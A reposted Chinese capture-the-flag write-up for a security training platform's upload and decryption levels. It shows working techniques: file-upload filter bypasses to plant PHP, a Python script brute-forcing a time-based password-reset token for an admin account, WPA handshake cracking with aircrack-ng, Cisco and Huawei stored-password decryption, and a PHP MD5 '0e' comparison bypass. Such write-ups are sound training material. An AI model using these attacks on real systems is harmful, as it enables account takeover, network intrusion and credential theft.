网络信息安全攻防学习平台 上传，解密通关writeup

转载

anrang9512 于 2017-03-09 12:32:00 发布 315 收藏 1
文章标签： php
原文链接：http://www.cnblogs.com/Elope/p/6525075.html
版权

上传关

[1]

查看源代码，发现JS代码。提交时onclick进行过验证。

ctrl+shift+i 打开开发者工具，将conclick修改为 return True，即可以上传

上传php文件，拿到KEY

key is IKHJL9786#$%^&

[2]

查看源代码，发现JS文件。发现是经过服务器端验证。

伪造一张jpg图片进行上传，利用burp截断，将文件名改为PHP就拿到key

key is 76tyuhjsdvytig#$%^&

[3]

查看源代码，发现JS代码。

```
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[1];
```

发现只是验证了文件名后第一个后缀，进行 file.jpg.php进行绕过

得到key key is 76tyuh12OKKytig#$%^&

解密关

[1] 以管理员身份登录系统

直接点重置密码，发现返回空白的页面。查看源代码，发现tip1，验证自己思路没错。

在url中发现参数sukey,长度为32位，对其进行MD5解密。发觉以下规律

payload:

```
import requests
import hashlib
import time

se = requests.session()
headers = {'Cookie': 'PHPSESSID=25443616fac3435849c2f3e77b54a4ca'}

while 1:
sukey = hashlib.new('md5', str(int(time.time()))).hexdigest()
url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
r = se.get(url, headers=headers)
if r.content:
print r.content
break
else:
print 'Cracking: ' + sukey
```

拿到key

[2] 邂逅对门的妹纸

一个包，打开后发现是经过加密的。需要解密。
根据提示做一个字典
with open("password.txt","w") as f:
for year in range(1980,2015):
for month in range(1,13):
for day in range(1,32):
f.write("%d%02d%02d\n" % (year,month,day))

开始暴力破解。
root@kali:~/Desktop# aircrack-ng wifi-crack.cap
Opening wifi-crack.cap
Read 17812 packets.

BSSID ESSID Encryption

1 54:E6:FC:53:E6:D0 hackinglab WPA (1 handshake)

Choosing first network as target.

Opening wifi-crack.cap
Please specify a dictionary (option -w).

Quitting aircrack-ng...

发现BSSID,ESSID

root@kali:~/Desktop# aircrack-ng -e hackinglab -b 54:E6:FC:53:E6:D0 -w password.txt wifi-crack.cap
Opening wifi-crack.cap
Reading packets, please wait...

Aircrack-ng 1.2 beta3

[00:00:05] 5436 keys tested (954.82 k/s)

KEY FOUND! [19940808]

Master Key : 92 D0 BF EB 09 69 E7 29 78 85 B4 48 64 20 D9 E9
17 B2 70 20 1B E7 A9 B9 06 27 C6 65 B0 5B 92 FA

Transient Key : 58 1D E4 36 66 67 BA 5A 76 17 A7 75 34 27 C4 3F
BA D0 1A 5C 43 6E C1 87 FA A6 07 84 17 AA 1B A8
8F 24 B4 6D 54 39 CD 0B BA BA 95 63 43 A7 6C E1
4D 1A C1 17 23 47 F1 3D 9A 8C 42 24 5D 8E 24 69

EAPOL HMAC : 02 C8 6C C3 C6 51 2D DC CA 68 ED 8A 5C 9D CE A6
得到密码，MD5加密提交

[3]万恶的Cisco
直接安装 cisco_crack进行破解
a = "02070D48030F1C294940041801181C0C140D0A0A20253A3B"
crack=cisco_decrypt.CiscoPassword()
crack.decrypt(a)
S = 2
S = 3
S = 4
S = 5
S = 6
S = 7
S = 8
S = 9
S = 10
S = 11
S = 12
S = 13
S = 14
S = 15
S = 16
S = 17
S = 18
S = 19
S = 20
S = 21
S = 22
S = 23
S = 24
'aishishenmadongxi@Admin'

[4]万恶的加密
提示华为的交换机，谷歌搜一下，看到一篇文章，可惜 Windows 下跑不了这个脚本，放到 Kali 下，成功拿到 key。

```
# coding=utf-8
from Crypto.Cipher import DES

def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')

def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
```

```
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])

y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])

y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff

out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)

j += 3
return "".join(out)

def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)
return r.rstrip("\x00")

if __name__ == '__main__':
miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
print u'明文' + decrypt_password(miwen)
```

[5] 喜欢泡网吧的小明
不会

[6]异常数据
发现加密数据后面有个=，明显的base64加密。但是都是大写，很有可能全部转为大写
payload

```
from base64 import *
import re

def dfs(res, arr, pos):
res.append(''.join(arr))
i = pos
for i in range(i, len(arr)):
if arr[i] <= 'Z' and arr[i] >= 'A':
arr[i] = arr[i].lower()
dfs(res, arr, i + 1)
arr[i] = arr[i].upper()

arr = list('AGV5IULSB3ZLVSE=')
res = []
```

```
dfs(res, arr, 0)

res_decode = map(b64decode, res)

for i in res_decode:
if re.findall(r'\\x', repr(i)):
continue
else:
print i
hey!lRovKU!
hey!lRoveU!
```

[7]md5真的能碰撞嘛?

```
<?php
$flag=FLAG;
if(isset($_POST["password"])){
$password=$_POST['password'];
$rootadmin="!1793422703!";
if($password==$rootadmin){die("Please do not attack admin account!");}

if(md5($password)==md5($rootadmin)){
echo $flag;
}else{
die("Password Error!");
}
}
?>
>>> hashlib.md5("!1793422703!").hexdigest()
'0e332932043729729062996282883873'
```

开头为0e最后值显示为0.
直接百度“MD5,0e” post提交 password=s214587387a拿到flag

[8]小明爱上了一个搞硬件的小姑凉
改为txt文件。发现
serialization::archive 10 25 SaleaeAsyncSerialAnalyzer 0 20 13973230967232177885 1 1 9600 8 1 0 1 0 0
Async Serial Analyzer 百度搜索为一文件名。
查看其它writeup，为下载该软件，打开就可以拿到flag

[9]
没思路，以后补充

转载于:https://www.cnblogs.com/Elope/p/6525075.html